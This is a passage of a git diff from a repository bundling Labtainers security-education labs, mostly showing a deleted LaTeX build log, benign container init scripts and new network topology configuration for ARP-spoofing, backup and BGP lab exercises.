-LaTeX Info: Redefining \dots on input line 397. -LaTeX Info: Redefining \cdots on input line 518. -\Mathstrutbox@=\box26 -\strutbox@=\box27 -\big@size=\dimen117 -LaTeX Font Info: Redeclaring font encoding OML on input line 630. -LaTeX Font Info: Redeclaring font encoding OMS on input line 631. -\macc@depth=\count93 -\c@MaxMatrixCols=\count94 -\dotsspace@=\muskip10 -\c@parentequation=\count95 -\dspbrk@lvl=\count96 -\tag@help=\toks16 -\row@=\count97 -\column@=\count98 -\maxfields@=\count99 -\andhelp@=\toks17 -\eqnshift@=\dimen118 -\alignsep@=\dimen119 -\tagshift@=\dimen120 -\tagwidth@=\dimen121 -\totwidth@=\dimen122 -\lineht@=\dimen123 -\@envbody=\toks18 -\multlinegap=\skip44 -\multlinetaggap=\skip45 -\mathdisplay@stack=\toks19 -LaTeX Info: Redefining \[ on input line 2735. -LaTeX Info: Redefining \] on input line 2736. -) -(/usr/share/texlive/texmf-dist/tex/latex/base/alltt.sty -Package: alltt 1997/06/16 v2.0g defines alltt environment -) -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amssymb.sty -Package: amssymb 2013/01/14 v3.01 AMS font symbols - -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty -Package: amsfonts 2013/01/14 v3.01 Basic AMSFonts support -\symAMSa=\mathgroup4 -\symAMSb=\mathgroup5 -LaTeX Font Info: Overwriting math alphabet `\mathfrak' in version `bold' -(Font) U/euf/m/n --> U/euf/b/n on input line 106. -)) -(/usr/share/texlive/texmf-dist/tex/latex/tools/xspace.sty -Package: xspace 2014/10/28 v1.13 Space after command names (DPC,MH) -) -(/usr/share/texlive/texmf-dist/tex/latex/wrapfig/wrapfig.sty -\wrapoverhang=\dimen124 -\WF@size=\dimen125 -\c@WF@wrappedlines=\count100 -\WF@box=\box28 -\WF@everypar=\toks20 -Package: wrapfig 2003/01/31 v 3.6 -) -(/usr/share/texlive/texmf-dist/tex/latex/fancyhdr/fancyhdr.sty -\fancy@headwidth=\skip46 -\f@ncyO@elh=\skip47 -\f@ncyO@erh=\skip48 -\f@ncyO@olh=\skip49 -\f@ncyO@orh=\skip50 -\f@ncyO@elf=\skip51 -\f@ncyO@erf=\skip52 -\f@ncyO@olf=\skip53 -\f@ncyO@orf=\skip54 -) -(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty -\Urlmuskip=\muskip11 -Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. -) -(/usr/share/texlive/texmf-dist/tex/latex/tools/verbatim.sty -Package: verbatim 2014/10/28 v1.5q LaTeX2e package for verbatim enhancements -\every@verbatim=\toks21 -\verbatim@line=\toks22 -\verbatim@in@stream=\read2 -) -(/usr/share/texlive/texmf-dist/tex/latex/fancyvrb/fancyvrb.sty -Package: fancyvrb 2008/02/07 - -Style option: `fancyvrb' v2.7a, with DG/SPQR fixes, and firstline=lastline fix -<2008/02/07> (tvz) -\FV@CodeLineNo=\count101 -\FV@InFile=\read3 -\FV@TabBox=\box29 -\c@FancyVerbLine=\count102 -\FV@StepNumber=\count103 -\FV@OutFile=\write3 -) (/usr/share/texlive/texmf-dist/tex/latex/float/float.sty -Package: float 2001/11/08 v1.3d Float enhancements (AL) -\c@float@type=\count104 -\float@exts=\toks23 -\float@box=\box30 -\@float@everytoks=\toks24 -\@floatcapt=\box31 -) -(/usr/share/texlive/texmf-dist/tex/latex/subfigure/subfigure.sty -Package: subfigure 2002/03/15 v2.1.5 subfigure package -\subfigtopskip=\skip55 -\subfigcapskip=\skip56 -\subfigcaptopadj=\dimen126 -\subfigbottomskip=\skip57 -\subfigcapmargin=\dimen127 -\subfiglabelskip=\skip58 -\c@subfigure=\count105 -\c@lofdepth=\count106 -\c@subtable=\count107 -\c@lotdepth=\count108 - -**************************************** -* Local config file subfigure.cfg used * -**************************************** -(/usr/share/texlive/texmf-dist/tex/latex/subfigure/subfigure.cfg) -\subfig@top=\skip59 -\subfig@bottom=\skip60 -) -(/usr/share/texlive/texmf-dist/tex/latex/cite/cite.sty -LaTeX Info: Redefining \cite on input line 302. -LaTeX Info: Redefining \nocite on input line 332. -Package: cite 2015/02/27 v 5.5 -) -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty -Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty -Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) - - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty -Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) -Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) -Package hobsub Info: Skipping package `infwarerr' (already loaded). -Package hobsub Info: Skipping package `ltxcmds' (already loaded). -Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) -Package ifluatex Info: LuaTeX not detected. -Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) -Package ifvtex Info: VTeX not detected. -Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) -Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) -Package ifpdf Info: pdfTeX in PDF mode is detected. -Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) -Package etexcmds Info: Could not find \expanded. -(etexcmds) That can mean that you are not using pdfTeX 1.50 or -(etexcmds) that some package has redefined \expanded. -(etexcmds) In the latter case, load this package earlier. -Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) -Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) -Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO -) -Package pdftexcmds Info: LuaTeX not detected. -Package pdftexcmds Info: \pdf@primitive is available. -Package pdftexcmds Info: \pdf@ifprimitive is available. -Package pdftexcmds Info: \pdfdraftmode found. -Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) -Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO -) -Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) -Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) -) -Package hobsub Info: Skipping package `hobsub' (already loaded). -Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) -Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) -Package: xcolor-patch 2011/01/30 xcolor patch -Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) -Package atveryend Info: \enddocument detected (standard20110627). -Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) -Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) -Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) -) -(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty -Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional -) -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty -Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) -) -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty -Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) -) -\@linkdim=\dimen128 -\Hy@linkcounter=\count109 -\Hy@pagecounter=\count110 - -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def -File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) -) -\Hy@SavedSpaceFactor=\count111 - -(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg -File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive -) -Package hyperref Info: Hyper figures OFF on input line 4443. -Package hyperref Info: Link nesting OFF on input line 4448. -Package hyperref Info: Hyper index ON on input line 4451. -Package hyperref Info: Plain pages OFF on input line 4458. -Package hyperref Info: Backreferencing OFF on input line 4463. -Package hyperref Info: Implicit mode ON; LaTeX internals redefined. -Package hyperref Info: Bookmarks ON on input line 4688. -\c@Hy@tempcnt=\count112 -LaTeX Info: Redefining \url on input line 5041. -\XeTeXLinkMargin=\dimen129 -\Fld@menulength=\count113 -\Field@Width=\dimen130 -\Fld@charsize=\dimen131 -Package hyperref Info: Hyper figures OFF on input line 6295. -Package hyperref Info: Link nesting OFF on input line 6300. -Package hyperref Info: Hyper index ON on input line 6303. -Package hyperref Info: backreferencing OFF on input line 6310. -Package hyperref Info: Link coloring OFF on input line 6315. -Package hyperref Info: Link coloring with OCG OFF on input line 6320. -Package hyperref Info: PDF/A mode OFF on input line 6325. -LaTeX Info: Redefining \ref on input line 6365. -LaTeX Info: Redefining \pageref on input line 6369. -\Hy@abspage=\count114 -\c@Item=\count115 -\c@Hfootnote=\count116 -) - -Package hyperref Message: Driver (autodetected): hpdftex. - -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def -File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX -\Fld@listcount=\count117 -\c@bookmark@seq@number=\count118 - -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty -Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) -Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 -82. -) -\Hy@SectionHShift=\skip61 -) -\c@problem=\count119 -\c@define=\count120 -\c@question=\count121 -) -No file arp-spoof.aux. -\openout1 = `arp-spoof.aux'. - -LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Try loading font information for OT1+ptm on input line 2. -(/usr/share/texlive/texmf-dist/tex/latex/psnfss/ot1ptm.fd -File: ot1ptm.fd 2001/06/04 font definitions for OT1/ptm. -) -(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii -[Loading MPS to PDF converter (version 2006.09.02).] -\scratchcounter=\count122 -\scratchdimen=\dimen132 -\scratchbox=\box32 -\nofMPsegments=\count123 -\nofMParguments=\count124 -\everyMPshowfont=\toks25 -\MPscratchCnt=\count125 -\MPscratchDim=\dimen133 -\MPnumerator=\count126 -\makeMPintoPDFobject=\count127 -\everyMPtoPDFconversion=\toks26 -) (/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty -Package: epstopdf-base 2010/02/09 v2.5 Base part for package epstopdf - -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty -Package: grfext 2010/08/19 v1.1 Manage graphics extensions (HO) -) -Package grfext Info: Graphics extension search list: -(grfext) [.png,.pdf,.jpg,.mps,.jpeg,.jbig2,.jb2,.PNG,.PDF,.JPG,.JPE -G,.JBIG2,.JB2,.eps] -(grfext) \AppendGraphicsExtensions on input line 452. - -(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg -File: epstopdf-sys.cfg 2010/07/13 v1.3 Configuration of (r)epstopdf for TeX Liv -e -)) -\AtBeginShipoutBox=\box33 -Package hyperref Info: Link coloring OFF on input line 2. - -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty -Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty -Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) -) -\c@section@level=\count128 -) -LaTeX Info: Redefining \ref on input line 2. -LaTeX Info: Redefining \pageref on input line 2. -LaTeX Info: Redefining \nameref on input line 2. -\@outlinefile=\write4 -\openout4 = `arp-spoof.out'. - -LaTeX Font Info: Try loading font information for U+msa on input line 10. - -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd -File: umsa.fd 2013/01/14 v3.01 AMS symbols A -) -LaTeX Font Info: Try loading font information for U+msb on input line 10. - -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd -File: umsb.fd 2013/01/14 v3.01 AMS symbols B -) -LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <14.4> not available -(Font) Font shape `OT1/ptm/b/n' tried instead on input line 11. -LaTeX Font Info: Try loading font information for OT1+pcr on input line 32. - -(/usr/share/texlive/texmf-dist/tex/latex/psnfss/ot1pcr.fd -File: ot1pcr.fd 2001/06/04 font definitions for OT1/pcr. -) -LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <10.95> not available -(Font) Font shape `OT1/ptm/b/n' tried instead on input line 40. - - -LaTeX Warning: Reference `fig:intended' on page 1 undefined on input line 40. - - -File: figure1.jpg Graphic file (type jpg) - -Package pdftex.def Info: figure1.jpg used on input line 46. -(pdftex.def) Requested size: 375.80542pt x 209.74773pt. - - -Package Fancyhdr Warning: \headheight is too small (12.0pt): - Make it at least 13.59999pt. - We now make it that large for the rest of the document. - This may cause the page layout to be inconsistent, however. - -[1{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map} - -] - -LaTeX Warning: Reference `fig:spoofed' on page 2 undefined on input line 56. - - -File: figure2.jpg Graphic file (type jpg) - -Package pdftex.def Info: figure2.jpg used on input line 59. -(pdftex.def) Requested size: 375.80542pt x 208.93785pt. - [2 <./figure1.jpg> <./figure2.jpg>] -LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <12> not available -(Font) Font shape `OT1/ptm/b/n' tried instead on input line 73. -Package atveryend Info: Empty hook `BeforeClearDocument' on input line 115. - [3] -Package atveryend Info: Empty hook `AfterLastShipout' on input line 115. - (./arp-spoof.aux) -Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 115. -Package atveryend Info: Executing hook `AtEndAfterFileList' on input line 115. - - -Package rerunfilecheck Warning: File `arp-spoof.out' has changed. -(rerunfilecheck) Rerun to get outlines right -(rerunfilecheck) or use package `bookmark'. - -Package rerunfilecheck Info: Checksums for `arp-spoof.out': -(rerunfilecheck) Before: -(rerunfilecheck) After: A0DC35999F8BE0819FA4718B54D7F662;436. - -LaTeX Warning: There were undefined references. - - -LaTeX Warning: Label(s) may have changed. Rerun to get cross-references right. - -Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 115. - ) -Here is how much of TeX's memory you used: - 7066 strings out of 494953 - 101082 string characters out of 6180977 - 184807 words of memory out of 5000000 - 10234 multiletter control sequences out of 15000+600000 - 19450 words of font info for 48 fonts, out of 8000000 for 9000 - 14 hyphenation exceptions out of 8191 - 36i,10n,43p,291b,370s stack positions out of 5000i,500n,10000p,200000b,80000s -{/usr/share/texlive/texmf-dist/fonts/enc/dvips/base/8r.enc} -Output written on arp-spoof.pdf (3 pages, 85706 bytes). -PDF statistics: - 48 PDF objects out of 1000 (max. 8388607) - 37 compressed objects within 1 object stream - 13 named destinations out of 1000 (max. 500000) - 11 words of extra memory for PDF output out of 10000 (max. 10000000) - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.out b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.out deleted file mode 100644 index c0272511c..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.out +++ /dev/null @@ -1,7 +0,0 @@ -\BOOKMARK [1][-]{section.1}{Overview}{}% 1 -\BOOKMARK [1][-]{section.2}{Lab Environmnet}{}% 2 -\BOOKMARK [1][-]{section.3}{Network Configuration}{}% 3 -\BOOKMARK [1][-]{section.4}{Lab Tasks}{}% 4 -\BOOKMARK [2][-]{subsection.4.1}{Task 1: Sniff the LAN from the Attacker}{section.4}% 5 -\BOOKMARK [2][-]{subsection.4.2}{Task 2: Spoof the ARP cache on the User and Gateway Computers}{section.4}% 6 -\BOOKMARK [1][-]{section.5}{Submission}{}% 7 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.pdf index ffbc16f70..df9426b8e 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.tex index 8f0a9b62e..43f3e465c 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.tex @@ -23,7 +23,7 @@ traffic exchange, hence the name "Man in the Middle" attack. \section{Lab Environmnet} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_system/sbin/faux_init deleted file mode 100755 index 21cbc5490..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_system/sbin/faux_init +++ /dev/null @@ -1,18 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/sbin/faux_init deleted file mode 100755 index 21cbc5490..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/sbin/faux_init +++ /dev/null @@ -1,18 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/sbin/faux_init deleted file mode 100755 index bf41a7f21..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/sbin/faux_init +++ /dev/null @@ -1,15 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start -/etc/init.d/httpserver.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/usr/lib/systemd/system/httpserver.service similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/lib/systemd/system/httpserver.service rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/usr/lib/systemd/system/httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups.pdf index 91b7cb11e..0c1237ef3 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/keywords.txt new file mode 100644 index 000000000..7e14a175a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/keywords.txt @@ -0,0 +1,2 @@ +backups +archive diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.docx index 7b03b4a97..67704a5c0 100755 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.docx and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.pdf index 7af0d3380..08cfc629a 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/fixlocal.sh index 148d03cec..a0c0a8025 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/fixlocal.sh @@ -17,7 +17,7 @@ sudo mkdir $img_dir sudo dd if=/dev/zero of=$img_fid bs=1k count=100k sudo parted -s /vfs/myfs.img mklabel bsd mkpart ext2 1 100 next=$(sudo losetup -f) -if [[ ! -f $next ]]; then +if [[ ! -b $next ]]; then # make the device if it does not exist (using mknod) count=${next:9} echo "count is $count" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/.~lock.topo.odg# b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/.~lock.topo.odg# new file mode 100644 index 000000000..6dfcd2724 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/.~lock.topo.odg# @@ -0,0 +1 @@ +,mike,Labtainer-dev,05.06.2020 14:01,file:///home/mike/.config/libreoffice/4; \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/about.txt new file mode 100644 index 000000000..8866f4bfc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/about.txt @@ -0,0 +1 @@ +Explore the Gateway Border Protocol and configure a BGP router. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/keywords.txt new file mode 100644 index 000000000..9c9fb563b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/keywords.txt @@ -0,0 +1,4 @@ +routing tables +border gateway protocol +router +bgp diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/parameter.config new file mode 100644 index 000000000..9cc46993c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/parameter.config @@ -0,0 +1,9 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + + +WAN1_R2 : RAND_REPLACE_UNIQUE : r1:/usr/local/etc/bird.conf;r3:/usr/local/etc/bird.conf;r4:/usr/local/etc/bird.conf;start.config : WAN1_R2 : 110 : 192 +WAN3_R2 : RAND_REPLACE_UNIQUE : r1:/usr/local/etc/bird.conf;r3:/usr/local/etc/bird.conf;r4:/usr/local/etc/bird.conf;start.config : WAN3_R2 : 110 : 192 +WAN4_R2 : RAND_REPLACE_UNIQUE : r1:/usr/local/etc/bird.conf;r3:/usr/local/etc/bird.conf;r4:/usr/local/etc/bird.conf;start.config : WAN4_R2 : 110 : 192 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/start.config new file mode 100644 index 000000000..9612135ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/start.config @@ -0,0 +1,130 @@ + GLOBAL_SETTINGS + HOST_HOME_XFER seed_dir/ + LAB_MASTER_SEED bird-bgp_mike_master_seed +NETWORK TAP_LAN + MASK 192.15.0.0/24 + GATEWAY 192.15.0.101 +NETWORK LAN1 + MASK 202.15.0.0/24 + GATEWAY 202.15.0.101 +NETWORK LAN2 + MASK 202.25.0.0/24 + GATEWAY 202.25.0.101 +NETWORK LAN2A + MASK 202.26.0.0/24 + GATEWAY 202.26.0.101 +NETWORK LAN3 + MASK 202.35.0.0/24 + GATEWAY 202.35.0.101 +NETWORK LAN4 + MASK 202.45.0.0/24 + GATEWAY 202.45.0.101 +NETWORK WAN1 + MASK 10.1.0.0/24 + GATEWAY 10.1.0.101 + TAP YES +NETWORK WAN2 + MASK 10.2.0.0/24 + GATEWAY 10.2.0.101 + TAP YES +NETWORK WAN3 + MASK 10.3.0.0/24 + GATEWAY 10.3.0.101 + TAP YES +NETWORK WAN4 + MASK 10.4.0.0/24 + GATEWAY 10.4.0.101 + TAP YES +NETWORK WAN5 + MASK 10.5.0.0/24 + GATEWAY 10.5.0.101 + TAP YES +CONTAINER r1 + USER ubuntu + X11 YES + TERMINAL_GROUP routers + ADD-HOST r2:10.1.0.WAN1_R2 + ADD-HOST r3:10.2.0.3 + LAN1 202.15.0.1 + WAN1 10.1.0.1 + WAN2 10.2.0.1 + NO_GW YES +CONTAINER r2 + USER ubuntu + X11 YES + TERMINAL_GROUP routers + ADD-HOST r1:10.1.0.1 + ADD-HOST r4:10.4.0.4 + ADD-HOST r3:10.3.0.3 + LAN2 202.25.0.1 + LAN2A 202.26.0.1 + WAN1 10.1.0.WAN1_R2 + WAN3 10.3.0.WAN3_R2 + WAN4 10.4.0.WAN4_R2 + NO_GW YES +CONTAINER r3 + USER ubuntu + X11 YES + TERMINAL_GROUP routers + ADD-HOST r1:10.2.0.1 + ADD-HOST r2:10.3.0.WAN3_R2 + ADD-HOST r4:10.5.0.4 + LAN3 202.35.0.1 + WAN2 10.2.0.3 + WAN3 10.3.0.3 + WAN5 10.5.0.3 + NO_GW YES +CONTAINER r4 + USER ubuntu + X11 YES + TERMINAL_GROUP routers + ADD-HOST r2:10.4.0.WAN4_R2 + ADD-HOST r3:10.5.0.3 + LAN4 202.45.0.1 + WAN4 10.4.0.4 + WAN5 10.5.0.4 + NO_GW YES +CONTAINER e1 + USER ubuntu + X11 YES + TERMINAL_GROUP enterprise + LAN1 202.15.0.2 + LAB_GATEWAY 202.15.0.1 + NAME_SERVER 202.15.0.1 +CONTAINER e2 + USER ubuntu + X11 YES + TERMINAL_GROUP enterprise + LAN2 202.25.0.2 + LAB_GATEWAY 202.25.0.1 + NAME_SERVER 202.25.0.1 +CONTAINER e3 + USER ubuntu + X11 YES + TERMINAL_GROUP enterprise + LAN3 202.35.0.2 + LAB_GATEWAY 202.35.0.1 + NAME_SERVER 202.35.0.1 +CONTAINER e4 + USER ubuntu + X11 YES + TERMINAL_GROUP enterprise + LAN4 202.45.0.2 + LAB_GATEWAY 202.45.0.1 + NAME_SERVER 202.45.0.1 +CONTAINER tap + USER ubuntu + X11 YES + TERMINALS 0 + TAP YES +CONTAINER netmon + USER ubuntu + X11 YES + TAP_LAN 192.15.0.2 +CONTAINER e5 + USER ubuntu + X11 YES + TERMINAL_GROUP enterprise + LAN2A 202.26.0.2 + LAB_GATEWAY 202.26.0.1 + NAME_SERVER 202.26.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/start.config.bu b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/config/start.config.bu new file mode 100644 